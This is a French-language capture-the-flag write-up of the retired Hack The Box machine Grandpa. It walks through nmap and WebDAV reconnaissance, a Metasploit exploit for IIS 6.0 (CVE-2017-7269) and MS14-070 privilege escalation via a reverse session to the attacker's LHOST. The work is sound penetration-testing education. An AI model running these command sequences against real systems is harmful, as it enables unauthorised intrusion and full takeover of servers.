Article original : Keep Calm and Hack The Box - Grandpa

Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en matière de tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent davantage vers un style de défi CTF.

Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Image

Grandpa est l'une des machines les plus simples sur Hack The Box, cependant elle couvre le CVE-2017-7269 largement exploité. Cette vulnérabilité est triviale à exploiter et a accordé un accès immédiat à des milliers de serveurs IIS dans le monde lorsqu'elle est devenue de notoriété publique.

Nous allons utiliser les outils suivants pour pirater la boîte sur une Kali Linux box

  • nmap
  • Searchsploit
  • davtest
  • Metasploit
  • Local exploit suggester

Commençons.

J'ajoute grandpa dans le fichier /etc/hosts

nano /etc/hosts

avec

10.10.10.14     grandpa.htb

Image

Étape 1 - Reconnaissance

La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.

C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.

Scanning des ports

Je vais utiliser Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.

Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

Image

J'utilise la commande suivante pour effectuer un scan intensif :

nmap -A -v grandpa.htb

-A: Active la détection du système d'exploitation, la détection de version, le scanning de script et le traceroute

-v: Augmente le niveau de verbosité

grandpa.htb: nom d'hôte pour la boîte Grandpa

Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.

nmap grandpa.htb

Image

Nous pouvons voir qu'il n'y a qu'un seul port ouvert :

Port 80. le plus souvent utilisé par le protocole Hypertext Transfer Protocol (HTTP)

Nous savons que le serveur est un IIS 6.0 à partir de l'en-tête http-server-header. Internet Information Services (IIS, anciennement Internet Information Server) est un logiciel de serveur web extensible créé par Microsoft pour une utilisation avec la famille Windows NT. Plus d'informations ici

IIS 6.0 (nom de code "Duct Tape"), inclus avec Windows Server 2003 et Windows XP Professional x64 Edition, a ajouté la prise en charge de IPv6 et incluait un nouveau modèle de processus de travail qui augmentait la sécurité ainsi que la fiabilité HTTP.sys a été introduit dans IIS 6.0 en tant qu'écouteur de protocole spécifique à HTTP pour les requêtes HTTP

Nous pouvons également voir à partir du http-title que le site web est "en construction" et qu'il y a un http-webdav-scan avec toutes les méthodes autorisées

J'utilise le script nmap pour essayer d'obtenir plus d'informations. Le script envoie une requête OPTIONS qui liste le type dav, le type de serveur, la date et les méthodes autorisées. Il envoie ensuite une requête PROPFIND et essaie de récupérer les répertoires exposés et les adresses IP internes en effectuant une correspondance de motifs dans le corps de la réponse

nmap --script http-webdav-scan -p80 grandpa.htb

Voici plus d'info sur ce script à partir du site web de nmap

Image

WebDAV ou Web Distributed Authoring and Versioning (WebDAV) est une extension du protocole Hypertext Transfer Protocol qui permet aux clients d'effectuer des opérations d'édition de contenu web à distance. Plus d'informations ici

Nous pouvons voir dans la section support du serveur que Microsoft's IIS a un module WebDAV.

J'utilise davtest pour vérifier si je peux télécharger des fichiers

Image

J'utilise la commande suivante

davtest -url http://10.10.10.14

Image

Cela ne semble pas possible. J'utilise Searchsploit pour vérifier s'il y a une vulnérabilité connue sur IIS 6.0. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database

Image

J'utilise la commande suivante

searchsploit iis 6.0

Image

Je peux obtenir plus de détails sur l'exploit avec

searchsploit -x 41738.py

Image

L'attaque est basée sur une chaîne de Return-oriented programming. Return-oriented programming (ROP) est une technique d'exploitation de sécurité qui permet à un attaquant d'exécuter du code en présence de défenses de sécurité telles que la protection de l'espace exécutable et la signature de code

Vous pouvez également consulter la Exploit Database pour trouver l'exploit

Image https://www.exploit-db.com/search?q=iis+6.0

Image https://www.exploit-db.com/exploits/41738

la National Vulnerability Database

Image https://nvd.nist.gov/vuln/detail/CVE-2017-7269

la base de données Common Vulnerabilities and Exposure

Image

Image https://www.cvedetails.com/cve/CVE-2017-7269/

Il y a un module Metasploit disponible

Image _https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl_

Étape 2 - Visite du site web

Nous ne voyons pas grand-chose en visitant le site web. À partir de la console du développeur, nous pouvons voir qu'il est alimenté par le framework ASP.NET

Image

Nous allons utiliser Metasploit, qui est un framework de test de pénétration qui simplifie le piratage. C'est un outil essentiel pour de nombreux attaquants et défenseurs

Image https://www.metasploit.com/

Je lance Metasploit Framework sur Kali et cherche la commande que je devrais utiliser pour lancer l'exploit

Image

Si j'utilise cette commande

searchsploit iis 6.0

J'obtiens le même tableau que celui que j'avais depuis le Terminal plus tôt

Si je tape

search iis 6.0

J'obtiens 174 résultats

Image

L'exploit qui m'intéresse est le numéro 147 sur cette liste

Si vous souhaitez avoir des informations sur l'exploit, vous pouvez utiliser la commande suivante

info exploit/windows/iis/iis_webdav_scstoragepathfromurl

Et vous obtiendrez plus de détails sur l'exploit

Image

J'utilise la commande suivante pour utiliser l'exploit

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

Je dois configurer les options avant de lancer l'exploit. Je vérifie les options avec

show options

Image

Je configure RHOSTS avec la commande suivante

set RHOSTS 10.10.10.14

Lorsque je vérifie à nouveau les options, j'obtiens ceci

Image

Je vérifie si la cible est vulnérable avec

check

Ensuite, je lance l'exploit avec la commande

exploit

Image

Et j'obtiens une session Meterpreter

D'après le site Offensive Security, nous obtenons cette définition pour Meterpreter

Meterpreter est une charge utile avancée, dynamiquement extensible qui utilise des stagers d'injection de DLL in-memory et est étendue sur le réseau au moment de l'exécution. Il communique via la socket du stager et fournit une API Ruby complète côté client. Il dispose d'un historique des commandes, d'une complétion par tabulation, de canaux, et plus encore.

Vous pouvez en savoir plus sur Meterpreter ici

Commençons par recueillir quelques informations

getuid retourne le vrai identifiant utilisateur du processus appelant. La session que j'ai obtenue ne semble pas avoir suffisamment de privilèges pour exécuter cette commande. L'accès est refusé

Image

Lorsque cela se produit, je liste les processus en cours avec

ps

et j'en choisis un qui s'exécute sous NT AUTHORITY\NETWORK SERVICE

Image

Je migre vers le processus 3644 avec

migrate 3644

Image

Maintenant, lorsque je vérifie getuid, j'obtiens

Server username: NT AUTHORITY\NETWORK SERVICE

Image

C'était la session que j'ai obtenue au début avant de migrer vers un autre processus

Image

C'est la session que j'ai obtenue après avoir migré vers un autre processus

Image

Je tape la commande suivante pour obtenir un shell standard sur le système cible

shell

Image

Je vérifie qui je suis sur la machine avec la commande

whoami

Image

J'obtiens plus d'informations de la machine avec

systeminfo

Image

Je navigue vers C:\

Image

puis Documents and Settings avec

cd "Documents and Settings"

Image

Je peux voir deux utilisateurs - Administrator et Harry. J'essaie de naviguer vers Harry. L'accès est refusé. Même chose pour le dossier Administrator - ce qui est attendu car je n'ai pas encore accès root

Image

Je quitte le shell avec la commande

exit

Image

Étape 3 - Utilisation du local exploit suggester

J'exécute le local exploit suggester. Les exploits sont suggérés en fonction de l'architecture et de la plateforme sur lesquelles l'utilisateur a ouvert un shell ainsi que des exploits disponibles dans meterpreter

run post/multi/recon/local_exploit_suggester

Image

Je vais utiliser l'exploit MS14-070. Je cherche plus d'informations sur Metasploit avec

info exploit/windows/local/ms14_070_tcpip_ioctl

Image

Ainsi que sur le site Rapid7

Image _https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl_

Étape 4 - Utilisation de MS14-070 pour effectuer une élévation de privilèges

Je mets cette session en arrière-plan avec la commande

background

Image

J'exécute la commande suivante pour utiliser l'exploit que j'ai trouvé

use exploit/windows/local/ms14_070_tcpip_ioctl

Image

Je vérifie ensuite les options de cet exploit

Image

Je configure la session avec

set SESSION 1

Image

J'exécute l'exploit avec

run

Image

L'exploit a réussi mais je n'ai pas obtenu de shell en retour. Je vérifie les options

Image

et je configure le LHOST avec mon IP avec

set LHOST 10.10.14.36

Vous pouvez vérifier la vôtre ici

Image

Je lance ensuite l'exploit avec

exploit

Image

Cela confirme que l'exploit a réussi mais je n'ai toujours pas de shell. Je vérifie la session avec

sessions -l

Je devrais avoir

NT AUTHORITY\SYSTEM

Image

Ce qui n'est pas le cas maintenant, donc je reviens à cette session avec

sessions -i 1

Image

Je vérifie getuid et j'obtiens NT AUTHORITY\SYSTEM en retour. J'obtiens un shell standard sur le système cible et je vérifie qui je suis sur la machine. J'obtiens NT AUTHORITY\NETWORK SERVICE en retour, ce qui n'est pas ce que je veux !

Je quitte ce shell et je vérifie les processus. Je peux voir que j'ai un accès admin sur la machine. Je dois simplement migrer vers un autre processus - ce que je fais avec

migrate 408

Image

De retour au shell standard sur le système cible et lorsque je vérifie qui je suis sur la machine, je suis enfin un admin !

Étape 5 - Recherche du flag user.txt

Je navigue vers le dossier Harry depuis Documents and Settings

Je peux lister tous les fichiers/dossiers avec la commande suivante

dir

Je me déplace ensuite vers le Desktop

Image

Et je trouve le flag utilisateur ! Je peux vérifier le contenu du fichier avec

type user.txt

Image

Étape 6 - Recherche du flag root.txt

Trouvons le flag root maintenant ! Je navigue jusqu'à Users et je vérifie dans le dossier Administrator/Desktop. Je trouve le flag !

Image

J'utilise la commande suivante pour voir le contenu du fichier

type root.txt

Image

Félicitations ! Vous avez trouvé les deux flags !

N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)

Vous pouvez voir plus de mes articles ici

Vous pouvez me suivre sur Twitter ou sur LinkedIn

Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !


Autres articles Hack The Box

Artiste - Maureen White